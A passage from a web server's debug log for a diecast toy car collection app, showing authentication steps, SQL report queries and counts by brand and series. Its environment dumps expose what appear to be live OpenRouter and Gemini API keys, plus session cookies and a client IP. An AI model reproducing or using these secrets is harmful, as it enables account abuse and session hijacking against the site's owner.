    distinct: true
  }
}
2026-02-04T05:47:35.460Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T06:08:38.596Z server-connect:router Serving templateView /diecast-reports
2026-02-04T06:08:38.597Z server-connect:app Executing action step identify
2026-02-04T06:08:38.597Z server-connect:app options: { provider: 'security' }
2026-02-04T06:08:38.597Z server-connect:output identity: 1
2026-02-04T06:08:38.597Z server-connect:app Executing action step restrict
2026-02-04T06:08:38.598Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:08:38.599Z server-connect:output restrict: undefined
2026-02-04T06:08:38.599Z server-connect:router Render template diecast-reports
2026-02-04T06:08:38.599Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T06:08:38.868Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-04T06:08:38.869Z server-connect:app Executing action step identify
2026-02-04T06:08:38.869Z server-connect:app options: { provider: 'security' }
2026-02-04T06:08:38.869Z server-connect:output identity: 1
2026-02-04T06:08:38.869Z server-connect:app Executing action step restrict
2026-02-04T06:08:38.869Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:08:38.869Z server-connect:output restrict: undefined
2026-02-04T06:08:38.869Z server-connect:app Executing action step custom
2026-02-04T06:08:38.869Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T06:08:38.872Z server-connect:output list: [
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 }
]
2026-02-04T06:09:00.804Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-02-04T06:09:00.804Z server-connect:app Executing action step identify
2026-02-04T06:09:00.804Z server-connect:app options: { provider: 'security' }
2026-02-04T06:09:00.804Z server-connect:output identity: 1
2026-02-04T06:09:00.804Z server-connect:app Executing action step restrict
2026-02-04T06:09:00.804Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:09:00.805Z server-connect:output restrict: undefined
2026-02-04T06:09:00.805Z server-connect:app Executing action step custom
2026-02-04T06:09:00.805Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T06:09:00.806Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 84 },
  { brand_id: 72, name: 'Majorette', total: 23 },
  { brand_id: 73, name: 'Matchbox', total: 21 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 },
  { brand_id: 191, name: 'Jams Toys', total: 1 }
]
2026-02-04T06:09:22.850Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-04T06:09:22.850Z server-connect:app Executing action step identify
2026-02-04T06:09:22.850Z server-connect:app options: { provider: 'security' }
2026-02-04T06:09:22.850Z server-connect:output identity: 1
2026-02-04T06:09:22.850Z server-connect:app Executing action step restrict
2026-02-04T06:09:22.850Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:09:22.851Z server-connect:output restrict: undefined
2026-02-04T06:09:22.851Z server-connect:app Executing action step custom
2026-02-04T06:09:22.851Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T06:09:22.852Z server-connect:output list: [
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 }
]
2026-02-04T06:09:23.878Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-02-04T06:09:23.878Z server-connect:app Executing action step identify
2026-02-04T06:09:23.878Z server-connect:app options: { provider: 'security' }
2026-02-04T06:09:23.878Z server-connect:output identity: 1
2026-02-04T06:09:23.878Z server-connect:app Executing action step restrict
2026-02-04T06:09:23.878Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:09:23.879Z server-connect:output restrict: undefined
2026-02-04T06:09:23.879Z server-connect:app Executing action step custom
2026-02-04T06:09:23.879Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T06:09:23.879Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 84 },
  { brand_id: 72, name: 'Majorette', total: 23 },
  { brand_id: 73, name: 'Matchbox', total: 21 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 },
  { brand_id: 191, name: 'Jams Toys', total: 1 }
]
2026-02-04T06:09:38.959Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-04T06:09:38.960Z server-connect:app Executing action step identify
2026-02-04T06:09:38.960Z server-connect:app options: { provider: 'security' }
2026-02-04T06:09:38.960Z server-connect:output identity: 1
2026-02-04T06:09:38.960Z server-connect:app Executing action step restrict
2026-02-04T06:09:38.960Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:09:38.961Z server-connect:output restrict: undefined
2026-02-04T06:09:38.961Z server-connect:app Executing action step custom
2026-02-04T06:09:38.961Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T06:09:38.961Z server-connect:output list: [
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 }
]
2026-02-04T06:10:56.832Z server-connect:router Serving templateView /diecast
2026-02-04T06:10:56.832Z server-connect:app Executing action step identify
2026-02-04T06:10:56.832Z server-connect:app options: { provider: 'security' }
2026-02-04T06:10:56.832Z server-connect:output identity: 1
2026-02-04T06:10:56.832Z server-connect:app Executing action step restrict
2026-02-04T06:10:56.832Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:10:56.833Z server-connect:output restrict: undefined
2026-02-04T06:10:56.833Z server-connect:router Render template diecast
2026-02-04T06:10:56.834Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T06:10:57.115Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:10:57.115Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:10:57.115Z server-connect:app Executing action step identify
2026-02-04T06:10:57.115Z server-connect:app options: { provider: 'security' }
2026-02-04T06:10:57.115Z server-connect:output identity: 1
2026-02-04T06:10:57.115Z server-connect:app Executing action step restrict
2026-02-04T06:10:57.115Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:10:57.116Z server-connect:app Executing action step identify
2026-02-04T06:10:57.116Z server-connect:app options: { provider: 'security' }
2026-02-04T06:10:57.116Z server-connect:output identity: 1
2026-02-04T06:10:57.116Z server-connect:app Executing action step restrict
2026-02-04T06:10:57.116Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:10:57.116Z server-connect:output restrict: undefined
2026-02-04T06:10:57.116Z server-connect:app Executing action step select
2026-02-04T06:10:57.116Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:10:57.117Z server-connect:output restrict: undefined
2026-02-04T06:10:57.117Z server-connect:app Executing action step select
2026-02-04T06:10:57.118Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:10:57.120Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T06:10:57.122Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
